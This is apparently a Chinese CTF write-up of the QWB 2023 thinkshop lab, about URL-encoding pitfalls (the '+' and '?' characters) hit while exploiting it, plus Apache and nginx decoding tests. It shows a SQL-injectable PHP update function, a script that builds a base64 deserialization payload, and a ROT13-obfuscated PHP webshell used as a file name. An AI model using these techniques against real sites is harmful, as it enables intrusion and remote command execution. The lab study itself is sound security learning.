前言
最近在做thinkshop靶机的时候, 被url编解码的知识卡了两三次, 记录下遇到的坑, 顺便研究下URL解码的情况, 以警戒自己, 帮助后人.
环境与复盘
thinkshop靶机(23强网杯): 靶机下载https://cloud.hurrison.com/f/zPIq/thinkshop_0d11a7bb36144142e9236159c6152cfe.ziphttps://cloud.hurrison.com/f/zPIq/thinkshop_0d11a7bb36144142e9236159c6152cfe.zip(转自强网杯 2023 线上赛部分 Writeup - Hurrison's Blog)
靶机apache版本: 2.4.29 (默认设置)
问题1:
对于admin界面中updatedata的情况进行sql注入时候, 由于value值被bin2hex()保护, 无法进行注入, 所以选择对于key值进行注入. 其中key值中注入的是序列化并且base64编码的值.
public function updatedata($data, $table, $id)
{
if (!$this->connect()) {
die('Error');
} else {
$sql = "UPDATE $table SET ";
foreach ($data as $key => $value) {
$sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
}
$sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
// echo $sql;
return mysqli_query($this->connect(), $sql);
}
}
注入脚本如下(POP链过长就不展示了, 可以在靶机下载地址查看writeup)
// 前面还有一堆构造的pop链
namespace payload {
use think\process\pipes\Windows;
ini_set('display_errors', 1);
$o = new Windows();
echo "payload_of_0d00is0721ing\n\n\n";
$payload = base64_encode(serialize(array($o)));
echo "\n\n";
if (strpos($payload, "+") != null) {
echo substr($payload, 0, strpos($payload, "+"));
} else {
echo 1;
}
echo "\n\n";
$payload = str_replace("=", "%3d", $payload);
echo $payload;
$file = fopen("./payload.evil", "w");
fwrite($file, $payload);
fclose($file);
}
最终的payload:
问题就出在这个+上(base64编码结果) .
而最终payload大概长这样, 也就是说payload在key字段
data`%3d"payload_here"WHERE(`id`%3d1)#=1
而对于apache来说, key字段中的'+'会被自动解析为'_', 导致payload失效, 所以必须转码为%2b
问题2:
经过pop链的洗礼, 终于写入了webshell, 但是, 在网页访问确404了, 为什么?
看看这个文件名:
<?cuc cucvasb();riny($_CBFG[pzq]);flfgrz($_TRG[pzq]);?>de6544d754b3409ceff5ff40b416a61a.php
问题出在这个'?'上, 浏览器没有把这个?url编码, (浏览器也以为这个?有特殊含义, 是保留字符[所谓保留字符就是那些在URL中具有特定意义的字符。不安全字符是指那些在URL中没有特殊含义,但在URL所在的上下文中可能具有特殊意义的字符。]), 导致sercer同样解析错误.
把?url编码之后问题解决, 成功访问webshell.
URL解码探究
在查找url编码, 解码的时候, 意外发现本来需要encode的字符等能够被apache直接解析? 推测这个是不同web server代码实现的区别
通过以下代码在我的apache下进行尝试:
注意, 似乎通过apache的配置可以改变url解析的具体规则, 而我测试使用的是默认配置的apache, 权当参考
比如通过AllowEncodedSlashes似乎可以使得apache允许url路径中将/编码成为%2F
参考链接: mod rewrite - How does Apache process a path with a percent-encoded URL in it? - Server Fault
<?php
echo "post: " . $_POST['f_oo'];
echo " get: " . $_GET['f_oo'];
在get/post数据部分:
%xx必定会被解析为对应字符, 就算这个字符没必要被编码.
非ascii码值会被正常解码
部分不影响含义保留字符正常解析, 但是部分影响含义的无法解析(如&, %等)
不安全字符: 正常解析
+: 在key部分被解析为'_', 在value部分被解析为[space]
[space]: 在key部分被解析为'_', 在value部分被解析为[space]
URL路径中:
似乎只有[space] 被编码成为 %20, 不编码无法正常解析
含中文名的路径似乎也无法解析成功...
%xx正常解析为对应符号
大部分保留符号(不影响含义的)会被解析成功
那么, 在其他环境下, 是否情况也会不同呢?
测试环境: nginx/1.15.11
情况确实略有不同, 比如中文会被直接解析为乱码
总结
在不同的环境下, url的解码确实有细微的差别, 并且server的设置也会影响到解析的规则.
本文给出了apache默认配置环境下的部分解析规则, 但是具体情况下各位师傅还是最好自己摸索. 当然, 最为安全的做法还是全部都用%形式编码(雾)
贴个url编解码的网站备用吧:
当然, 作者本人水平有限, 文章难免有误, 如果各位读者发现, 还望在评论区指出, 作者会尽快纠正
本文为原创, 未经作者(0d00is0721ing)许可禁止转载, 谢谢
引用与参考
URL中的保留和不安全字符 - atzuge - 博客园 (cnblogs.com)
URL编码解码详解,看这一篇就够够的了-腾讯云开发者社区-腾讯云 (tencent.com)
封面图: やはり俺の青春ラブコメはまちがっている。我的青春恋爱物语果然有问题。(好像出自第二季, 记不太清了)
日常小作文(不看)
qwb结束了, 顺利地爆0了哈哈哈, 不过还是学到了点东西的, 包括信息的收集判断web服务, 包括关于网页源码审计顺序的思考, 包括手搓了第一条pop链(虽然是看着别人的利用图搓的)
接下来就是准备下期末考力~
发现一部神番: 春物. 喜欢大老师这个人物, 虽然他的那种阴暗的世界观我不能完全认可, 虽然他处事方式我不能完全接受, 但是他在孤独中行走的勇气和对于自我的坚持, 是我所缺少和渴求的, 他身上的那种孤高和"精神洁癖", 也是我这个才大二确已经具备中年油腻男的影子的"青春"之人早早失去的. 当然, 还有雪乃, 还有团子, 他们都是我所喜欢的, 正是这些青春之人, 才构成了他们和她们的青春物语. 也许我无法像大老师那样变成现充, 但是勇敢的过好我的青春, 也许正是我现在能做的吧.
最后, 大老师语录奉上:
改变也只不过是变相逃避现实吧?为什么不能肯定现在和过去的自己呢?【大老师】